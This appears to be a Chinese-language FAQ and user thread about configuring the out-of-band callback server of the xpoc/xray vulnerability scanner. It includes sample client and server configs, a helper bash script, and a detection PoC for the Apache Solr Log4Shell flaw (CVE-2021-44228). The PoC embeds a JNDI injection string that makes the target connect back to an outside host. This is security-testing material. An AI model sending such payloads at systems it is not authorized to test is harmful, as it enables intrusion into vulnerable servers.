【官方】【重要】反连相关问题解答
如题
如果你是内网,不出网,无法使用 dnslog.cn 或者你就是单纯不想用 dnslog.cn 反连
可以加入参数 --disable reverse-client-dnslog 禁用 dnslog.cn
关于如何配置反连
如果你不需要 dnslog 反连,只需要 http/rmi 两种(已经能够覆盖 95% 以上情况)
那么只需要配置这样即可
module:
reverse-registry:
dns_server_ip: ""
domain: ""
http_base_url: http://公网ip:公网端口
is_domain_name_server: false
ldap_server_addr: ""
reverse_server_url: ""
rmi_server_addr: ""
token: 公网反连的token
wait_timeout: 5s
日志打印 注册了新反连:reverse-client-gunkit 又打印 reverse-client-new 新反连客户端不可用 原因:没有开启新反连平台
这是什么意思?
你的配置是正确的,reverse-client-new 是我们内部测试用,只要 reverse-client-gunkit 可用即可
配置文件不要动 reverse-client-new 相关的配置,后续可能支持
如果我希望全开,要一个完整的 http/rmi/dns 等所有协议,怎么配置
参考:https://docs.xray.cool/tools/xray/advanced/reverse
xpoc 在上述两项配置之外,补充配置 dns_server_ip 和 domain 即可(例如 8.8.8.8 和 4ra1n.com)
如果我无法部署在公网,只能在内网检测怎么办
首先内网是无法使用 dnslog 反连的,只能使用 http/rmi 方式
xpoc 无法自主开启反连,我的建议是使用老 xray reverse 在本地开启一个反连,然后 xpoc 反连配置设置为内网 ip 即可
例如 xray reverse 监听 0.0.0.0:12345
你的内网地址是:192.168.1.1
那么 xpoc 的 http_base_url 应该是 http://192.168.1.1:12345
确保你扫描目标可以连通到 http://192.168.1.1:12345
禁用 dnslog.cn失败了,按照您说的加入参数--disable reverse-client-dnslog,但是没有作用,还是之前的报错
poc如下:
name: poc-yaml-apache-solr-log4j-cve-2021-44228
transport: http
set:
reverse: newReverse()
reverseRMI: reverse.rmi
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{reverseRMI}}}&wt=json
follow_redirects: false
expression: response.status == 400 && reverse.wait(5)
expression: r0()
detail:
author: lbb
配置文件如下: 客户端
reverse-registry:
# ↱DNS服务器: 和 HTTP服务URL 类似,实际用来访问 dns 服务器的地址
dns_server_ip: ""
# ↱DNS域名: 用来指定 dns 服务器地址所绑定的域名
domain: ""
# ↱HTTP服务URL: 该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置;该URL会直接用于payload填充,需保证被扫描目标能够正常访问该URL
http_base_url: "http://192.168.0.108:12345"
# ↱DNS服务是否为反连平台自身: 如果是反连平台,任何可以触发解析的行为都可以证明漏洞存在,而不需要再指定 DNS
is_domain_name_server: false
# ↱LDAP服务URL: 和 HTTP服务URL 类似,实际用来访问 ldap 服务的地址
ldap_server_addr: ""
# ↱反连平台管理端URL: 用于拉取反连平台被触发的信息 如果为空则使用 HTTP服务URL; 需要保证扫描器端能正常访问
reverse_server_url: ""
# ↱RMI服务URL: 和 HTTP服务URL 类似,实际用来访问 rmi 服务的地址
rmi_server_addr: ""
# ↱通信Token: 用于盲打平台通信认证
token: "ks8888"
# ↱反连等待时间: 任务结束时等待多久退出
wait_timeout: 5s
服务端
reverse:
db_file_path: "x.db" # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "ks8888" # 反连平台认证的 Token, 独立部署时不能为空
http:
enabled: true
listen_ip: 0.0.0.0
listen_port: "12345"
ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
client:
remote_server: false # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址
http_base_url: "" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置
dns_server_ip: "" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
配置完毕后,发现发送的rmi协议数据为空。 请问是哪里配置有问题吗?
我配置dnslog后就可以正常的发包。
poc如下:
name: poc-yaml-apache-solr-log4j-cve-2021-44228 transport: http set: reverse: newReverse() reverseRMI: reverse.rmi rules: r0: request: method: GET path: /solr/admin/collections?action=${jndi:ldap://{{reverseRMI}}}&wt=json follow_redirects: false expression: response.status == 400 && reverse.wait(5) expression: r0() detail: author: lbb 配置文件如下: 客户端
reverse-registry: # ↱DNS服务器: 和 HTTP服务URL 类似,实际用来访问 dns 服务器的地址 dns_server_ip: "" # ↱DNS域名: 用来指定 dns 服务器地址所绑定的域名 domain: "" # ↱HTTP服务URL: 该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置;该URL会直接用于payload填充,需保证被扫描目标能够正常访问该URL http_base_url: "http://192.168.0.108:12345" # ↱DNS服务是否为反连平台自身: 如果是反连平台,任何可以触发解析的行为都可以证明漏洞存在,而不需要再指定 DNS is_domain_name_server: false # ↱LDAP服务URL: 和 HTTP服务URL 类似,实际用来访问 ldap 服务的地址 ldap_server_addr: "" # ↱反连平台管理端URL: 用于拉取反连平台被触发的信息 如果为空则使用 HTTP服务URL; 需要保证扫描器端能正常访问 reverse_server_url: "" # ↱RMI服务URL: 和 HTTP服务URL 类似,实际用来访问 rmi 服务的地址 rmi_server_addr: "" # ↱通信Token: 用于盲打平台通信认证 token: "ks8888" # ↱反连等待时间: 任务结束时等待多久退出 wait_timeout: 5s 服务端
reverse: db_file_path: "x.db" # 反连平台数据库文件位置, 这是一个 KV 数据库 token: "ks8888" # 反连平台认证的 Token, 独立部署时不能为空 http: enabled: true listen_ip: 0.0.0.0 listen_port: "12345" ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取 client: remote_server: false # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址 http_base_url: "" # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置 dns_server_ip: "" # 和 http_base_url 类似,实际用来访问 dns 服务器的地址 配置完毕后,发现发送的rmi协议数据为空。 请问是哪里配置有问题吗?
我配置dnslog后就可以正常的发包。
经过数个小时的排查,发现是由于xpoc add导致,使用下面的脚本把我自己编写的poc添加到了xpoc中但是万万没想到我重新更新发现添加到xpoc的yml貌似不能更改。
#!/bin/bash
# 指定要遍历的目录
directory="/home/kali/Desktop/vuln_scan/xpoc/xpocs/"
# 遍历目录下的所有 .yml 文件
for file in "$directory"*.yml; do
if [ -f "$file" ]; then
# 执行 xpoc add 命令添加文件
./xpoc add "$file"
if [ $? -eq 0 ]; then
echo "成功添加文件: $file"
else
echo "添加文件 $file 失败"
fi
fi
done
正确的poc
name: poc-yaml-apache-solr-log4j-cve-2021-44228
transport: http
set:
reverse: newReverse()
reverseRMI: reverse.rmi
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:{{reverseRMI}}}&wt=json
follow_redirects: false
expression: reverse.wait(5)
expression: r0()
detail:
author: lbb